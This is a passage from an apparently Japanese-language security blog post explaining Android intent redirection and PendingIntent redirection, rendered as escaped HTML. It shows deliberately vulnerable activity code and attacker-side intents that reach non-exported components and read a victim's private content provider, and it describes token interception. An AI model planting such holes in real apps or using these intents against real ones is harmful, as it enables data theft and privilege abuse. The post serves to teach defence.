&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;override&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;fun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Bundle?)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getParcelableExtra&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;?.&lt;/span&gt;&lt;span class="na"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;it&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// No validation at all&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="2. setresult()によるデータ漏えい"&gt;2. setResult()によるデータ漏えい&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// VULNERABLE &amp;mdash; Returns internal data to the caller&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;LeakyActivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AppCompatActivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;protected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Bundle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getIntent&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;getParcelableExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"next"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;startActivityForResult&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1001&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;protected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onActivityResult&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onActivityResult&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Forwards internal data straight back to the (attacker) caller&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;setResult&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;finish&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="3. ディープリンクの悪用"&gt;3. ディープリンクの悪用&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// VULNERABLE &amp;mdash; Deep link handler forwards without checking scheme/host&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;DeepLinkActivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AppCompatActivity&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;override&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;fun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Bundle?)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;uri&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;data&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;redirect&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ACTION_VIEW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Attacker can craft: myapp://redirect?url=intent://...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="攻撃シナリオ"&gt;攻撃シナリオ&lt;/h2&gt;
&lt;h3 id="シナリオ1:エクスポートされていないコンポーネントへのアクセス"&gt;シナリオ1：エクスポートされていないコンポーネントへのアクセス&lt;/h3&gt;
&lt;p&gt;攻撃者は、被害者のエクスポートされていない&lt;code&gt;InternalSettingsActivity&lt;/code&gt;を標的とするインテントを作成します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;inner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ComponentName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;"com.victim.app"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;"com.victim.app.InternalSettingsActivity"&lt;/span&gt;
&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;outer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;outer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ComponentName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;"com.victim.app"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;"com.victim.app.RouterActivity"&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// exported proxy&lt;/span&gt;
&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;outer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;startActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="シナリオ2:コンテンツプロバイダーからのデータ窃取"&gt;シナリオ2：コンテンツプロバイダーからのデータ窃取&lt;/h3&gt;
&lt;p&gt;攻撃者はURI権限の付与を利用して、被害者のプライベートなコンテンツプロバイダーを読み取ります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;inner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;apply&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Uri&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"content://com.victim.app.provider/private_data"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_GRANT_READ_URI_PERMISSION&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;outer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;apply&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;component&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ComponentName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.victim.app"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"com.victim.app.ProxyActivity"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"next_intent"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;startActivityForResult&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;outer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;// onActivityResult receives the private data&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="シナリオ3:認証/セッションハイジャック"&gt;シナリオ3：認証／セッションハイジャック&lt;/h3&gt;
&lt;p&gt;被害者アプリに、内部のログインフローの結果を転送するエクスポートされたアクティビティがある場合、攻撃者は&lt;code&gt;setResult()&lt;/code&gt;経由で返される認証トークンを傍受できます。&lt;/p&gt;
&lt;h3 id="シナリオ4:ディープリンクの連鎖"&gt;シナリオ4：ディープリンクの連鎖&lt;/h3&gt;
&lt;p&gt;攻撃者は複数のアプリにまたがるディープリンクを連鎖させ、各アプリを踏み台にして、最終的に価値の高い標的の保護されたコンポーネントに到達します。&lt;/p&gt;
&lt;h2 id="pendingintentリダイレクション"&gt;PendingIntentリダイレクション&lt;/h2&gt;
&lt;p&gt;従来のインテントリダイレクションは、攻撃者が渡した&lt;code&gt;Intent&lt;/code&gt;を自らのアイデンティティで転送するアプリを悪用しますが、&lt;strong&gt;PendingIntentリダイレクション&lt;/strong&gt;は攻撃の向きが逆になります。被害者アプリがだまされて、攻撃者が武器化できる&lt;code&gt;PendingIntent&lt;/code&gt;を渡してしまうのです。&lt;code&gt;PendingIntent&lt;/code&gt;はラップした&lt;code&gt;Intent&lt;/code&gt;を&lt;strong&gt;作成者のUIDと権限&lt;/strong&gt;で実行するため、ミュータブルまたは空のPendingIntentを入手した攻撃者は、事実上、被害者アプリのアイデンティティを借用できます。&lt;/p&gt;
&lt;h3 id="pendingintentのセキュリティモデルを理解する"&gt;PendingIntentのセキュリティモデルを理解する&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;PendingIntent&lt;/code&gt;はデータオブジェクトではなく、&lt;strong&gt;ケイパビリティトークン&lt;/strong&gt;です。Intent、フラグ、作成者のUIDは&lt;code&gt;system_server&lt;/code&gt;の内部に保持され、アプリが持つのはbinderハンドルだけです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作成者&lt;/strong&gt;：&lt;code&gt;PendingIntent.getActivity()&lt;/code&gt;を呼び出す &amp;rarr; &lt;code&gt;system_server&lt;/code&gt;がレコードを保存し、ハンドルを返す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;受信者&lt;/strong&gt;：IPC（Intentのエクストラ、通知など）経由でハンドルを受け取る&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ディスパッチ&lt;/strong&gt;：&lt;code&gt;.send()&lt;/code&gt;が呼び出されると、&lt;code&gt;system_server&lt;/code&gt;がレコードを検索し、ラップされたIntentを送信者のUIDではなく&lt;strong&gt;作成者のUIDで&lt;/strong&gt;実行する&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="作成者のUIDとIntentがsystem_serverの外に出ることはなく、受信者が持つのは不透明なbinderハンドルだけ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-22_android_intent_redirection/PendingIntent.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;この設計により、PendingIntentは&lt;em&gt;デフォルトで安全に受け渡しできる&lt;/em&gt;ものになっています。これが、従来のインテントリダイレクションに対する推奨の緩和策とされている理由です。脆弱性が生じるのは、作成者がこのケイパビリティトークンを無害なデータとして扱った場合に限られます。&lt;/p&gt;
&lt;h3 id="脆弱なパターン"&gt;脆弱なパターン&lt;/h3&gt;
&lt;p&gt;PendingIntentリダイレクションは、被害者アプリが次のすべてに該当する場合に発生します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FLAG_MUTABLE&lt;/code&gt;付きでPendingIntentを作成する&lt;/strong&gt;（またはミュータブルがデフォルトだったAndroid 12より前をターゲットとする場合にフラグを省略する）、&lt;strong&gt;かつ&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暗黙的なIntentをラップする&lt;/strong&gt;（明示的なコンポーネントが設定されていない）、&lt;strong&gt;かつ&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PendingIntentを攻撃者に露出させる&lt;/strong&gt;（ブロードキャスト、通知アクション、エクスポートされたサービスのレスポンス、呼び出し元に返されるIntentに含めるなど）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ミュータブルなPendingIntentを受け取った攻撃者は、欠けているコンポーネント、アクション、データ、エクストラを補う&lt;code&gt;fillInIntent&lt;/code&gt;を指定して&lt;code&gt;.send(Context, int, Intent fillInIntent)&lt;/code&gt;を呼び出せます。システムは&lt;code&gt;Intent.fillIn()&lt;/code&gt;のルールに従ってfillInのフィールドを元のIntentにマージし、その結果を&lt;strong&gt;作成者のUIDで&lt;/strong&gt;ディスパッチします。&lt;/p&gt;
&lt;p&gt;実際の影響には次のようなものがあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;被害者の&lt;strong&gt;エクスポートされていないアクティビティ&lt;/strong&gt;、サービス、プロバイダーの起動&lt;/li&gt;
&lt;li&gt;fillInを通じて&lt;code&gt;FLAG_GRANT_READ_URI_PERMISSION&lt;/code&gt;を付与することによる、被害者のプライベートな&lt;code&gt;content://&lt;/code&gt; URIの読み書き&lt;/li&gt;
&lt;li&gt;被害者の署名やパッケージ名を信頼するレシーバーに対する、被害者になりすましたブロードキャストの送信&lt;/li&gt;
&lt;li&gt;特権的な内部フロー（アカウント管理、設定変更、アプリ内課金のコールバック）の起動&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="具体例"&gt;具体例&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable code inside VictimApp&lt;/span&gt;
&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;// implicit &amp;mdash; no component&lt;/span&gt;
&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getActivity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_MUTABLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_UPDATE_CURRENT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;deliver&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Intent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.victim.HAND_OUT_TOKEN"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;deliver&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;putExtra&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;sendBroadcast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;deliver&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// attacker receives pi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;攻撃者のレシーバーはPendingIntentを入手し、それを悪用します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// Inside AttackerApp&lt;/span&gt;
